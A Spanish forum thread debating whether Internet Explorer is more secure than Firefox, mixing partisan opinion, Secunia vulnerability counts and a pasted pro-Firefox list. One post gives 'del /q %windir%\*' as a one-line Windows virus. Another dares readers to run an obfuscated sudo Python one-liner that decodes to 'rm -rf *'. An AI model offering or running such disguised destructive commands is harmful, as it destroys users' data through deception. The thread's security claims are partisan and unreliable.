Ver la Versión Completa : "¿Internet Explorer es más seguro que Firefox?" JohnWayne 06/12/07, 08:57:53 "Internet Explorer es más seguro que Firefox"Mozilla no está de acuerdo
http://img137.imageshack.us/img137/1843/i2hs5.jpg
Jeffrey Jones es científico y director de estrategias de seguridad en Microsoft Trustworthy Computing Group. Recientemente publicó un informe en que dice haber encontrado pruebas de que el navegador IE de Microsoft es más seguro que Firefox.
Diario Ti: Jones ha considerado versiones existentes y anteriores de ambos navegadores, llegando a la conclusión de que Internet Explorer presentó menos agujeros de seguridad en el mismo período.
En su blog, Jones invita a todos los interesados a desafiar su método de análisis. Al respecto, asegura haber recopilado información desde los propios paquetes de actualización de seguridad de Microsoft y Firefox, además de portales de seguridad como Securityfocus.com, the BugTraq mailing list, Secunia.com y Securitytracker.com.
Según Jones, que es empleado de Microsoft, la compañía corrigió 87 vulnerabilidades desde noviembre de 2004, en tanto que Firefox corrigió 199.
La respuesta de Firefox no se hizo esperar. El experto en seguridad del navegador, Mike Shaver, descalificó rápidamente las afirmaciones de Jones en su propio blog.
En un comentario titulado “es fácil contar, pero difícil pensar con claridad", Shaver desestima las observaciones y análisis de su colega de Microsoft. Entre otras cosas, recalca que Microsoft publica sus actualizaciones de seguridad en paquetes, mientras que Firefox publica cada error por separado. Acusa además a Microsoft de no publicar todos los errores y además de “hacer trampa" en sus estadísticas.
Shaver propone además que Microsoft dedique más tiempo a corregir errores que a esperar que éstos no sean detectados “por alguien a quien no puedan silenciar".
------------------------------------------------------------------------
Fuente original: Ars Technica
Visto en:
www.diarioti.com (http://www.diarioti.com/gate/n.php?id=16036) Juancho_ve 06/12/07, 09:06:15 Que coberos (mentirosos) :aynooo: es cierto que FireFox ha presentado algunas fallas pero Internet Explorer NO es mejor que Firefox :negar:
:fireIE::fireIE::fireIE::fireIE::fireIE: :fireIE::fireIE::fireIE::fireIE::fireIE: 123enter 06/12/07, 12:51:52 Una tontería que no vale la pena ni comentar... (porque es obviamente falso)
::mal: alexer15 06/12/07, 14:40:43 Quien habla es alguien de Microsoft, este articulo es tan valido como un dolar con la cara de Bill Gates.
:risa: Quien habla es alguien de Microsoft, este articulo es tan valido como un dolar con la cara de Bill Gates.
:risa:
De acuerdo:risa:
Mi opinion:
http://img418.imageshack.us/img418/3202/mo9bu.gif
http://img444.imageshack.us/img444/2474/ffwins8dv.gif Sinceramente no se que da mas miedo que alguien de microsoft haga marketing de su navegador o que algien de mozilla se "escude" alegando que ellos parchean bug a bug.
La verdad, yo tengo que darle la razon a los dos, tanto IE como Firefox en cuanto a seguridad se refiere son una gran castaña.
En cuanto a lo de silenciar supongo que no se referiran al la contratacion de Zalewski por parte de google (principal partner de mozilla) descubridor de vulnerabilidades por concurrencia (http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4253) (en ingles) los famosos torpedos (http://www.kriptopolis.org/los-torpedos-de-zalewski) que a dia de hoy siguen vergonzosamente sin solucionar. quizas estaria haciendo las pruebas con un firefox sin nigun plugin :biggrin:
soy fiel usuario de FF, y se que su fuerte esta en la gran variedad de plugin que podemos usar para aumentar su seguridad y uso, esa para mi seria una de las razones mas fuertes en su seguridad, pero no se puede decir, en ningun aspecto que FF es menos seguro que IE ::ups:: JohnWayne 06/12/07, 22:05:15 Una tontería que no vale la pena ni comentar... (porque es obviamente falso)
::mal:
Sinceramente no se que da mas miedo que alguien de microsoft haga marketing de su navegador o que algien de mozilla se "escude" alegando que ellos parchean bug a bug.
Pues de eso se trata. Puro marketing por parte de Microsoft. Es normal que defiendan su producto, y es completamente normal que Mozilla responda.
Pueden haber diferencias, pero siempre las habrá pues son empresas "enemigas" por así decirlo. Cada una tiene su mercado, y pues tiene que quedar bien ante su mercado, quizás distorsionando la realidad un poquitín pero cuidando de no llegar a competencia desleal.
Si me preguntan a mí, uso indistintamente ambos navegadores. moralesdaglo 06/12/07, 22:34:43 estan ''FALSO'' como decir que windows es mas seguro y mejor que linux::aplausos: nahue11 07/12/07, 00:21:07 estan ''FALSO'' como decir que windows es mas seguro y mejor que linux::aplausos:
totalmente de acuerdo..
Originalmente publicado por Aglos
Quien habla es alguien de Microsoft, este articulo es tan valido como un dolar con la cara de Bill Gates.
Sisis
Saludos estan ''FALSO'' como decir que windows es mas seguro y mejor que linux::aplausos:
No hay sistema ma seguro hay sistemas bien o mal administrados. Te aseguro que la mayoria de distros linux no son el mejor ejemplo de sistema seguro by default (los sistemas tipo *Nix siempre han sido los mas crackeados/hackeados historicamente, y ). ¿Quieres un virus para linux?
**Editado**
Tan simple como ejecutar en modo administrador este simple script.
PD: hay que alejarse de los topicos no suelen traer nada bueno :-) Sextus70 07/12/07, 17:11:56 Vaya, Mocosoft esta nervioso, se dio cuenta que su IE7 es la misma basura que el 6, y andan buscando excusas falsas para decir que su navegador es mejor, lo cual siempre ha sido una mentira, es verdad que Firefox, al igual que muchos otros programas, tiene sus agujeros de seguridad, pero se han ido solucionando con las constantes actualizaciones del navegador, pero es una vil mentira decir que IE7 es mejor que Firefox en seguridad, y lo digo porque me anime a instalarlo en mi PC, y no le vi nada de nuevo, nada más la apariencia, la navegación por pestañas, y el Anti-phishing, pero en lo demás es lo mismo, igual de lento, con las mismas pésimas opciones de seguridad, aunque lo tengo más protegido gracias a Spybot, Spyware Blaster, y el escudo Anti-Hijack de SUPERAntispyware, también pudieron haber hecho la prueba con el firefox por defecto, es decir cómo viene por defecto al instalarse, ya que por supuesto si no usas Add ons, cómo NoScrip, McAfee site advisor o Dr. Web link checker, por supuesto que tu Firefox es más inseguro, pero incluso por defecto, todo el mundo sabe que es mucho más seguro que IE.
Originalmente publicado por moralesdaglo Ver Mensaje
estan ''FALSO'' como decir que windows es mas seguro y mejor que linux:
Totalmente de acuerdo, de verdad que Mocosoft la cagaría (disculpen la palabra), si dijera una mentira tan evidente cómo esta.:risa::risa:
Un saludo. No hay sistema ma seguro hay sistemas bien o mal administrados. Te aseguro que la mayoria de distros linux no son el mejor ejemplo de sistema seguro by default (los sistemas tipo *Nix siempre han sido los mas crackeados/hackeados historicamente, y ). ¿Quieres un virus para linux?
**Editado**
Tan simple como ejecutar en modo administrador este simple script.
PD: hay que alejarse de los topicos no suelen traer nada bueno :-)
Eso contando que para ejecutarlo el usuario debería darl epermiso de ejecución o bien ejecutar como root "sh script"...mmm
DIFERENCIA:
Un virus para windows:
del /q %windir%\*
Eso como *.bat y cualquiera que le de doble click jodio la máquina...
Una distro de Linux es insegura por un simple motivo: Es una distro...todos conocen cómo funciona su seguridad... y aún así un administrador con dos dedos de frente puede tenerla asegurada sin necesidad de antivirus ni de nada... tal vez uno o dos scripts.
Pero el problema de Windows es que no solo "no es muy seguro", a demás "ES muy inseguro", llegando al extremo de decir que tener un Antivirus, uno o dos AntiSpywares y un Firewall no te garantiza la protección de nada. Variaciones sobre el código fuente de NetCat y una web infectada son más que suficientes para obtener una línea de comandos remota sobre el sistema.
SI Existe un Sistema "MAS SEGURO" y es Linux, o tal vez OpenBSD... Cualquiera que haya usado Winbug$ y Linux lo sabe:::
*************************
Y existe un pariente cercano de FireFox que me resulta mejor : : : IceWeasel. alexer15 08/12/07, 14:04:36 No hay sistema ma seguro hay sistemas bien o mal administrados. Te aseguro que la mayoria de distros linux no son el mejor ejemplo de sistema seguro by default (los sistemas tipo *Nix siempre han sido los mas crackeados/hackeados historicamente, y ). ¿Quieres un virus para linux?
**Editado**
Tan simple como ejecutar en modo administrador este simple script.
PD: hay que alejarse de los topicos no suelen traer nada bueno :-)
Tu lo haz dicho en modo administrador, no creo ser tan torpe para ejecutar esto. Un amigo tiene un ciber y un PC con Linux, lo renta a quienes solo navegan, entran a bastantes sitios porno y el aparato nunca ha tenido fallas. Haz lo mismo en Windows y al otro dia estaras formateando.
SI Existe un Sistema "MAS SEGURO" y es Linux, o tal vez OpenBSD... Cualquiera que haya usado Winbug$ y Linux lo sabe:::
Estoy de acuerdo, soy un feliz usuario de Gentoo, Slackware y Ubuntu. alejoroldan 08/12/07, 14:59:20 Primero que todo de IE sale una version cada 5 años, de Firefox casi cada semana, entonces asi como no van a haber mas agujeros de seguridad, pero aun asi: :fireIE: Vladikavkaz 09/12/07, 19:56:48 No hay sistema ma seguro hay sistemas bien o mal administrados. Te aseguro que la mayoria de distros linux no son el mejor ejemplo de sistema seguro by default (los sistemas tipo *Nix siempre han sido los mas crackeados/hackeados historicamente, y ). ¿Quieres un virus para linux?
**Editado**
Tan simple como ejecutar en modo administrador este simple script.
PD: hay que alejarse de los topicos no suelen traer nada bueno :-)
Y quien en su sano jucio va ejecutar ese script como administrador ::pensar:: , ademas ese script es muy facil, mejor ejecuta este:
sudo python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg!+"]))'
A ver si sabes lo que hace ;) juan01_12 09/12/07, 20:01:27 Hola eso depende del funcionamiento que le da uno, si uno mira paginas obsenas simplemente se va a infectar en ambos navegadores.
Pero yo creo que firefox es mas seguro de eso no me cabe ni la menor duda :fireIE:
Saludos! JohnWayne 09/12/07, 20:07:58 No nos desviemos del tema centra de la noticia, la cual refiere al comentario de la gente de Microsoft acerca de la seguridad de IE; en este caso afirman que es superior a Firefox ::pensar::
El "dilema" Windows o Linux no está en discusión aquí. Pero si gustan pueden revisar otros temas en el foro donde recuerdo haberlo visto :afirmar:
Saludos.
-JW Shadow X 10/12/07, 02:49:05 Hola a todos
Esos tios donde estudiadon? como se van a mandar eso de que internet es mas seguro y mejor que Firefox, en que mundo viven?. :fireIE:
Saludos ^^ Aquí les dejo una comparativa sobre la seguridad de los navegadores, hecha por alguien neutro: Web Devout. Los datos los han sacado de Secunia (http://www.secunia.com/).
http://img91.imageshack.us/img91/5783/advisoriesbigwd0.th.png (http://img91.imageshack.us/my.php?image=advisoriesbigwd0.png)
Más información (http://www.sahw.com/wp/archivos/2007/12/10/seguridad-en-navegadores-otro-informe-internet-explorer-vs-mozilla-firefox/) JohnWayne 10/12/07, 22:42:20 Internet Explorer has had 125 vulnerability reports. 22 were marked as moderately critical, 45 were marked as highly critical, and 14 were marked as extremely critical. There are still 38 remaining, including 9 that were marked as moderately critical and 2 that were marked as highly critical.
Firefox has had 64 vulnerability reports. 19 were marked as moderately critical, 21 were marked as highly critical, and 0 were marked as extremely critical. There are still 7 remaining, including 1 that was marked as moderately critical.
Opera has had 59 vulnerability reports. 19 were marked as moderately critical, 13 were marked as highly critical, and 1 was marked as extremely critical. All of the reported vulnerabilities have since been fixed.
Y esto está actualizado al 4 de diciembre ::pensar:: $CRATUS 11/12/07, 00:22:47 Y esto está actualizado al 4 de diciembre ::pensar::
Hombre si, también hay que contar la cantidad de usuarios que utilizan cada navegador.
No es lo mismo la cantidad de usuarios de Opera, que de Firefox o de IE, y que decir de que normalmente, la gente que utiliza el IE no suele preocuparse por la seguridad como alguien que se pasa a Firefox, Opera, o Netsacape, que si lo hacen por ver incrementada su seguridad mientras navega y tiene más conocimientos (o se preocupan más) y mas cuidado a la hora de entrar a cualquier lugar.
:biggrin: Pero bueno, como aquí cada uno grita por su bandera :risa::
http://xs322.xs.to/xs322/07502/117jl4Small.jpg
:rolleyes:
Tranquilo Toby tranquiiiilo :risa::risa::risa:
Saludos. :Bien:;) Alguiendeaqui 11/12/07, 03:30:22 LOL
LOL
LOL
FX es mejor que IE Sextus70 11/12/07, 12:11:37 Vaya esa información que dio Nam, ( de fuentes de confianza, porque Secunia es una organización muy confiable, encargada de la investigación de virus y de vulnerabilidades de diversos programas, incluyendo software anti malware), mato el mito de que IE era mejor que Firefox, eso si, se demuestra claramente, que IE no alcanza ni al tobillo a Firefox y a Opera, estos 2 están muy buenos en seguridad, aunque Opera lo supera en este aspecto, lo único malo de este navegador, es que por el momento no esta en español (por lo que se), y también la apariencia, no me agrada mucho, así que defiendo a mi Firefox, porque sigue siendo rápido cómo siempre, pero aunque no es un señor seguridad cómo lo es Opera, lo mantengo protegido con mi Spybot S & D, y otros programas de seguridad.
Por cierto, Opera se come a Firefox y a IE en seguridad, pero nadie duda que se come a este odiado agente de Mocosoft:
http://cosassencillas.files.wordpress.com/2007/07/firefox-vs-ie.jpg:risa::risa:
Un saludo. $CRATUS 13/12/07, 15:10:28 aunque Opera lo supera en este aspecto, lo único malo de este navegador, es que por el momento no esta en español (por lo que se)...
Un apunte:
Opera si que está en español,
Información de la versión:
Versión 9.24
Compilación 8816
Plataforma Win32
por lo menos en esta versión.
y para linux tambien se puede poner en español con un par de comandos, creo recordar, pues yo los tengo los dos en español. ;)
Por cierto, Opera se come a Firefox y a IE en seguridad, pero nadie duda que se come a este odiado agente de Mocosoft
:risas::risas::risas::risas:
Saludos. :smile: Sarthithe 17/12/07, 12:53:58 Las peronas que usamos Firefox sabemos la respuesta, ademas esos comentarios solo intentan manchar el nombre que Firefox se ha hecho en internet shadyds 02/01/08, 21:23:20 mmm Firefos es mucho mejor en todo adriansuar 03/01/08, 07:11:49 En mi opinion, yo no necesito un navegador seguro, porque se navegar.
Lo que busco es solo un navegador actualizado.
Es claro que firefox es mas seguro que IE,pero yo no necesito la seguridad que me otorga firefox.
No vas a encontrar un navegador tan rapido y eficaz como Internet Explorer.
En cambio, vos buscas firefox en google, te aparece:
DOWNLOAD MOZILLA FIREFOX.
-----------------------------
QUE LENTO QUE ES FIREFOX
----------------------------
NO HAY UNA VERSION LITE DE FIREFOX?
-----------------------------
AYUDA, ME ANDA LENTO FIREFOX!!
----------------------------
GUIA OPTIMIZACION PARA CORRER MAS RAPIDO FIREFOX
---------------------------------
ALGUIEN TIENE UNA VERSION MAS ANTIGUA, ME ANDA LENTO FIREFOX
en fin, son mas contras que pro.
todos saltaran en defensa de firefox, yo sin embargo , aunque lo critiques , sigo usando internet explorer, simplemente por su rapidez y eficacia,cosa que no tiene y tendra firefox.
yo miro siempre , en todo programa, la perfomance primero y luego la calidad.
no me parece para nada mal , IE. Como sabbran el 60 % de los usuarios usa Internet explorer,Diran, porque lo incluye su SO, pero pongamonos la mano en el corazon. TODOS SABEMOS BUSCAR E INSTALAR PROGRAMAS CON 2 SIMPLES CLICK.:afirmar:
saludos anleg_30 03/01/08, 10:19:42 Como dijeron por allï cada kien lucha por su bandera...
es como la disputa de HP vs EPSOM:Bien:
WINDOWS vs LINUX:Bien:
AMD:Bien: vs INTEL
uso firefox y si el tema es la seguridad, este le llleva ventaja a IE sobre todo con lo de las ventanas emergentes que la mayoria son codigos maliciosos..
ademas tambien el usuario es complice de la seguridad, el explorador solo te muestra lo que tu quieres ver eso es todo..., y creo todos estamos de acuerdo con eso o nop..
:fireIE: :fireIE: :fireIE: esta krita si m gusta ejeje :fireIE: $CRATUS 03/01/08, 15:55:25 No vas a encontrar un navegador tan rapido y eficaz como Internet Explorer.
Yo empece utilizando el IE, es bastante mas lento que el firefox, despues descubri Opera, y le dio una vuelta de tuerca en rapidez a firefox.
-Si hay que ser franco, (y no me refiero al muerto:biggrin:) Que firefox sea tan "famoso" es simplemente para que haga competencia a IE, eso lo tenemos claro, por lo menos algunos, IE es mas potente, pero no mas rápido. hay que diferenciar...
Hay como una especie de odio hacia IE y no es el objetivo de la "guerra de navegadores" sino que halla una competencia para que tb halla mejores resultados, y no un monopolio como lo era antes IE, así por lo menos los de Microsoft que se pongan las pilas y que no se amuermen pensando en que su monopolio ya esta bien consolidado.
Un ej. claro es Telefonica en Espanha hace algunos años, cobraban lo que les salia de los mismisimos por que no tenian competencia, y sus servicios dejaban mucho que desear, ahora, roto su monopolio, las cosas van mejor para todos, e incluso se pude llamar por 0,0cents/min. :afirmar:
que gran cambio y que alivio.... uff.
Saludos. En mi opinion, yo no necesito un navegador seguro, porque se navegar.
Jajaja!!:risas:
Disculpame que te lo diga pero se ve que no tenes idea de cómo funcionan y se distribuyen los virus. Personalmente leo y participo en varios foros de hacking en los que se enseñan y descubren bugs y agujeros de seguridad... y navegues como navegues, IE es inseguro... Cuando IE7 salió se explotó al mango el problemón que tenía con el phishing, y todavía se sabe que despues de msn messenger , el IE es lo más inseguro que hay:.
Te voy a facilitar una info para que sepas lo que decis::.
Diez razones de peso para usar FireFox
01. Mayor Estabilidad y Rapidez
Cuando Netscape demandó a Microsoft por competencia desleal al incluir Internet Explorer con todas las versiones de Windows, la empresa de Bill Gates se defendió fusionándolos, para argumentar que eran inseparables. Desafortunadamente para los usuarios, este matrimonio forzoso derivó en un sistema operativo más inestable de lo normal: ahora cuando se cae Internet Explorer - lo que no es raro - se cae toda la interfaz, haciendo necesario reiniciar el PC.
Firefox es un programa independiente, con un código mejorado por decenas de programadores que lo hacen más sólido y estable. Si llega a fallar basta con reiniciarlo; no se lleva con él a todo el sistema operativo. Pero no sólo eso. Firefox procesa los documentos HTML más rápido que IE (comprobado cronómetro en mano) e incluso es más veloz de iniciar.
02. Seguridad y Privacidad
Prácticamente todos los días - no exagero - se descubre una nueva vulnerabilidad en Internet Explorer. Microsoft debe publicar parches constantemente para evitar que sirva como puerta de entrada a hackers curiosos o malintencionados. Esta situación ha llevado a que instituciones como el CERT - del propio gobierno estadounidense - recomienden usar otros navegadores con mejores estándares de seguridad.
La principal culpable es una tecnología de Microsoft llamada ActiveX, la que permite instalar software a través del navegador en forma automática. Esta idea que en un principio nos facilitaría la vida a nosotros también se la facilitó a los inescrupulosos, quienes ahora la aprovechan para llenar nuestras máquinas de programas espía, publicidad no deseada, marcadores telefónicos, virus y otras basuras que atiborran el disco duro, consumen recursos o asfixian la conexión a Internet. ¿Nunca se han preguntado de dónde salen esos malditos anuncios de casinos o por qué la página de inicio cambia cada vez que abren IE?...
Firefox no incluye ActiveX, por lo que la instalación de cualquier programa desde la Red debe pasar necesariamente por nuestra autorización. Adicionalmente, incorpora una amplia gama de opciones para administrar nuestra privacidad como no registrar los sitios que hemos visitado o vaciar las cookies que dejan los sitios, al cerrar el navegador. También podemos rechazarlas de antemano y especificar si queremos que Firefox almacene en forma segura nuestros datos y contraseñas.
03. Bloqueo de ventanas emergentes (pop-ups)
Y hablando de molestias, los usuarios de IE lloraron, patalearon e hicieron berrinche para que se les proporcionara una forma de librarse de esas moscas de la Web que son las ventanas emergentes, pero Microsoft hizo oídos sordos hasta sólo algunos meses atrás cuando lanzó la barra de MSN. Ahora la empresa nos chantajea obligándonos a usar un software adicional - con herramientas que tal vez no queremos - para bloquearlas.
Tal como apuntaba mi amigo Javier en nuestra reunión de ayer, esta "novedad" de IE ya la disponían los primeros usuarios de Mozilla años atrás, y por supuesto Firefox la trae incorporada, sin necesitar de software adicional.
04. Navegación por pestañas (tabs)
Otra gracia que incorpora Firefox casi desde su creación es la navegación por pestañas, una forma increíblemente eficaz e intuitiva para tener varias páginas disponibles al mismo tiempo, sin saturar la barra de tareas.
Es insólito que Microsoft todavía no habilite una función similar para Internet Explorer (sólo se puede realizar con software de terceros) y se haya conformado con habilitar un contador de ventanas abiertas en Windows XP, lo que obliga a explorar para dar con el sitio deseado. Parafraseando a Michael Moore, "Shame on you, Mr. Gates".
05. Personalizable (Temas) y Extensible (Extensiones)
Firefox es un navegador a la medida y a la pinta de cada cual. Con un par de pulsaciones se puede escoger entre una creciente gama de temas con los cuales "vestir" a nuestro navegador, desde los más pulcros y tecnificados, hasta otros tiernos e hilarantes. ¡Incluso se lo puede disfrazar de Internet Explorer o Safari!... eso sí es tolerancia.
Pero lo mejor de todo son las extensiones, pequeñas adiciones gratuitas elaboradas por cientos de desarrolladores alrededor del mundo que cumplen todas las labores imaginables. Pasearemos por ellas en otra ocasión, pero les contaré sobre cuatro sin las que ya no puedo vivir: RadialContext provee una pequeña interfaz al pulsar el botón derecho del ratón que nos dejará todas las opciones del navegador a un clic de distancia. Basta unos minutos de entrenamiento y ya verán cómo empiezan a extrañarla la próxima vez que los fuercen a usar IE.
TabBrowser Extensions inyecta esteroides sobre las opciones de manejo de pestañas de Firefox, permitiendo cambiarlas de lugar, capturar los enlaces que abren nuevas ventanas del navegador y mucho más.
Por su parte, IEView nos recuerda que la Web todavía gira en torno a IE por lo que nos da una opción para abrir un potencial sitio Web que no funcione en Firefox directamente en Internet Explorer (también útil para chequear compatibilidad al desarrollar un sitio).
Y ya que hablamos de desarrollo Web, mi favorita: Web Developer Tool, una fantástica barra que hará las delicias de todo diseñador al permitirle chequear al instante distintas resoluciones, aislar imágenes sin ALT, examinar CSS, probar formularios, validar código o accesibilidad en el W3C y muchas otras de esas cosas alienígenas que nos ponen los ojos turnios.
Si el diseño Web es lo tuyo, es un deber conseguirla.
06. Multiplataforma y Multilingüe
Firefox es todo un cosmopolita. Está disponible para seis plataformas distintas - Windows, Linux y Macintosh entre ellas - y vienen más en camino, incluyendo dispositivos portátiles como teléfonos celulares. Si le sumamos que sus versiones ya están traducidas a 17 idiomas, comprenderemos que este navegador es capaz de acompañarnos independiente del sistema o bandera que tengamos. Eso es más de lo que puede decir Microsoft, que ni siquiera ha lanzado IE para Linux para no 'dormir con el enemigo'.
07. Facilidad de Instalación e Importación
¿Preocupado de que abandonar IE sea un trauma?. No podrían ser temores más infundados. Firefox incluye un asistente de instalación muy sencillo, en el idioma que elijas. Si tienes Favoritos que deseas conservar, Firefox te dará la posibilidad de importarlos durante el mismo proceso. Adicionalmente podrás elegir el momento en que desees hacer de Firefox tu navegador por defecto... aunque estoy seguro de que no te tomará mucho decidirlo.
08. Cumple los Estándares
El idioma de la Web es el HTML, y como todo lenguaje tiene sus propias normas 'ortográficas', que son los estándares. Estos ayudan a interpretar correctamente lo que el diseñador o desarrollador quiso hacer en un sitio, con independencia del navegador, sistema o plataforma en uso. Históricamente, IE ha hecho caso omiso de los estándares, implementándolos a su antojo e incluso inventando su propio lenguaje, destrozando la Web en una miríada de sitios "IE only".
Firefox cumple fielmente los estándares recomendados por el W3C, al igual que sus amigos Opera, Safari, Konqueror, Epyphany o Galeon... así que ya sabes quién es el malhablado del barrio.
09. Búsqueda Directa
Simple, sencillo, directo. Sin necesidad de "barritas", Firefox incorpora un espacio en su interfaz para realizar búsquedas no sólo en uno, sino en cientos de motores de búsquedas, desde Yahoo hasta Eurekster, pasando por todas las versiones locales de Google, incluyendo la chilena.
Pero eso no es todo: se pueden agregar búsquedas en diccionarios, traductores, enciclopedias, sitios de compras, críticas de películas, universidades y miles que se agregan día a día. Por ejemplo, en mi navegador tengo un acceso directo al Diccionario de la RAE y otro a un diccionario de inglés. Basta ingresar el término, pulsar aceptar y el resultado salta a la pantalla.
Creo que el señor Sopena puede ir buscándose otro empleo.
10. Integración con RSS
Y para finalizar, una yapa que ni los foxeros más fervorosos nos esperábamos. Firefox es capaz de marcar sitios compatibles con el sistema RSS, lo cual permite saber si han sido actualizados sin necesidad de visitarlos.
Por ejemplo, ustedes podrían marcar Francotirador para visualizar sobre la interfaz en qué día y hora publiqué por última vez, de forma de ingresar sólo cuando haya algo nuevo. Sumamente útil cuando solemos visitar decenas de sitios al día - especialmente bitácoras - y no queremos perder tiempo abriéndolos todos sólo para descubrir que apenas unos cuantos fueron renovados. Usar esta función es sumamente fácil, pero pueden leer más sobre ella en esta publicación de Juan Pablo Aqueveque.
WINDOWS vs LINUX - No son comparables... Linux es mil veces mejor. Vista quiso alcanzar a XGL y Compiz Fussion y no alcanzo nada, solo tiene miles de problemas y es incompatible con otros Windows... en Linux instalas un desktop 3D y sigues con los mismos programas, en todo caso reconfiguras el servidor de X Window.
IE es mas potente
Y eso de donde salio ??? ja ja! nunca diseñaste un sitio web no? IE es siempre el problema para diseñar. IE no es nada! alexer15 03/01/08, 16:25:30 Yo empece utilizando el IE, es bastante mas lento que el firefox, despues descubri Opera, y le dio una vuelta de tuerca en rapidez a firefox.
-Si hay que ser franco, (y no me refiero al muerto:biggrin:) Que firefox sea tan "famoso" es simplemente para que haga competencia a IE, eso lo tenemos claro, por lo menos algunos, IE es mas potente, pero no mas rápido. hay que diferenciar...
Hay como una especie de odio hacia IE y no es el objetivo de la "guerra de navegadores" sino que halla una competencia para que tb halla mejores resultados, y no un monopolio como lo era antes IE, así por lo menos los de Microsoft que se pongan las pilas y que no se amuermen pensando en que su monopolio ya esta bien consolidado.
Un ej. claro es Telefonica en Espanha hace algunos años, cobraban lo que les salia de los mismisimos por que no tenian competencia, y sus servicios dejaban mucho que desear, ahora, roto su monopolio, las cosas van mejor para todos, e incluso se pude llamar por 0,0cents/min. :afirmar:
que gran cambio y que alivio.... uff.
Saludos.
Muy cierto, Explorer no es muy malo, sera bueno tal vez, pero Firefox es mejor, es mas personalizable, mas estable, ligero, etc.
Es algo que a Microsoft si le preocupa mejorar, porque sabe que pierde cuota, y al hacerlo con mas calidad da algo de pelea, ojalá y pasara lo mismo con Windows, pues al no haber una competencia real no le preocupa mejorarlo y da un producto; sino pesimo, si algo mediocre.
Con el XBOX sucede algo similar, con año de ventaja ya esta derrotado ante el Wii, pues con las luces rojas perdio mucho, el Zune igual.
Yo en cierta forma tambien uso Firefox para no usar tanto Microsoft, prefiero el PS3 y el Wii, el Ipod y Linux. :Bien: $CRATUS 03/01/08, 16:53:05 Y eso de donde salio ??? ja ja! nunca diseñaste un sitio web no? IE es siempre el problema para diseñar. IE no es nada!
-Por que entonces no se puede escanear con antivirus online? Es acaso por monopolio, o por que IE es tiene mas pontencia? informate antes de lo que es potencia.... :Bien: ;)
-Y no me vengais con lo de IETab por que eso es un engaño, ya que estas utilizando de todas maneras IE... :negar:
Y no, nunca he diseñado una web en Güindous.
Saludos. :enojado: adriansuar 04/01/08, 04:39:18 Jajaja!!:risas:
Disculpame que te lo diga pero se ve que no tenes idea de cómo funcionan y se distribuyen los virus. Personalmente leo y participo en varios foros de hacking en los que se enseñan y descubren bugs y agujeros de seguridad... y navegues como navegues, IE es inseguro... Cuando IE7 salió se explotó al mango el problemón que tenía con el phishing, y todavía se sabe que despues de msn messenger , el IE es lo más inseguro que hay:.
Te voy a facilitar una info para que sepas lo que decis::.
WINDOWS vs LINUX - No son comparables... Linux es mil veces mejor. Vista quiso alcanzar a XGL y Compiz Fussion y no alcanzo nada, solo tiene miles de problemas y es incompatible con otros Windows... en Linux instalas un desktop 3D y sigues con los mismos programas, en todo caso reconfiguras el servidor de X Window.
Y eso de donde salio ??? ja ja! nunca diseñaste un sitio web no? IE es siempre el problema para diseñar. IE no es nada!
1. Te dije que no me interesa lo que comentes en tema de seguridad, porque se navegar,y si tengo idea como funciona cada cosa.
2. Discutime que IE es lento,como firefox.
3.Ademas tenes que andar poniendole IETAB a Firefox para que funcionen los active X, cosa que firefox, directamente no tiene control sobre eso,y claro "Mayor seguridad", cualquier navegador es seguro y 100 inpenetrable sino tiene funcionalidad con los controles Active X.
4.Ademas no podes hablar de seguridad de pishing, testea una pagina trucha con IE7 y Firefox... dale amigo tampoco comentes cualquier pavada.
yo respeto tu opinion y tambien respeto que prefieras Firefox antes que cualquier otro navegador, pero tambien respetame mis opiniones y no andes diciendo "no tenes idea".
Yo defiendo mis opiniones con argumentos claros y experimentados , no con citas ajenas de paginas web.
saludos -Por que entonces no se puede escanear con antivirus online? Es acaso por monopolio, o por que IE es tiene mas pontencia? informate antes de lo que es potencia....
Es un problema creado por ellos mismos, yo no uso Windows y no necesito antivirus, y si las casas antivirus no diseñaran sus antivirus OnLine sólo para IE, no sería necesario. Eso no es potencia, simplemente quienes diseñan ese software lo hicieron para que ande en IE, no por eso IE es más potente.
-Y no me vengais con lo de IETab por que eso es un engaño, ya que estas utilizando de todas maneras IE...
Tampoco uso IETab y no es un engaño porque lo que IETab hace y es conocido de todos, es incrustar el motor de IE al FireFox... nadie lo oculta.
Y no, nunca he diseñado una web en Güindous.
Si nunca lo hiciste no vengas a comentar sobre navegadores porque tu experiencia se limita a navegar un poco y no sabes cómo se trabaja sobre las páginas web... tanto en HTML como JavaScript y PHP (por mencionar los más conocidos) tienen que ser adecuados para IE porque al muy bueno se le ocurre tener mil bugs y requisitos estúpidos para con los códigos y las cabeceras HTTP. No se porque comentan sobre navegadores sin conocer cómo funcionan o qué problemas traen.
************************************************** *
1. Te dije que no me interesa lo que comentes en tema de seguridad, porque se navegar,y si tengo idea como funciona cada cosa.
Y yo te dije que no importa cuánto sepas navegar, bajate un poco de info sobre hacking, bugs y exploits y verás que no necesitas navegar mal para que IE sea un problema... simplemente abrir un mail que tal vez te llegue como que es de un amigo, o qué tal entrar a una de tus páginas bien conocidas y notar un pequeño retraso en la carga, por ejemplo entras en hotmail y entre las idas y vueltas que pega una vez que ingresas te mando a un sitio falso, que es un clon... ¿y que? ¿te vas a poner a leer la direccion con lo larga que es...cada vez que entres a tu casilla?
2. Discutime que IE es lento,como firefox.
No se de donde sos... pero acá FireFox va espléndido, y más si usas pipelining teniendo ADSL... y cambias about:config a tu gusto. Ay pero claro... vos no sabrás qué digo porque IE no cuenta con esas capacidades. ¿Y cuenta con addons para manejar prácticamente todo? no... ¿y puede automatizar las tareas de la web? Tampoco puede editar los fuentes de las páginas mientras estan abiertas ... ¿no? Asique si haces una web tenes que tener abierto el archivo, editarlo, guardarlo y recargar... ¿Y te muestra miniaturas de las paginas de cada pestaña al posar el mouse arriba?...
Microsoft está entre los sitios que se atienen a W3C... pero su navegador cumple los estándares de W3C ?? Ay pero que feo! ... los DOM de IE no son iguales a ningun otro navegador... ¿y qué pasa si le mando un encabezado HTTP con un orden no convencional? ¿Lo podrá aguantar igual? los demás navegadores lo hacen pero IE? ...nop :::
3.Ademas tenes que andar poniendole IETAB a Firefox para que funcionen los active X, cosa que firefox, directamente no tiene control sobre eso,y claro "Mayor seguridad", cualquier navegador es seguro y 100 inpenetrable sino tiene funcionalidad con los controles Active X
Nono... no son los controles ActiveX los que hacen que IE sea inseguro...porque no lees algo sobre seguridad?
Yo defiendo mis opiniones con argumentos claros y experimentados , no con citas ajenas de paginas web.
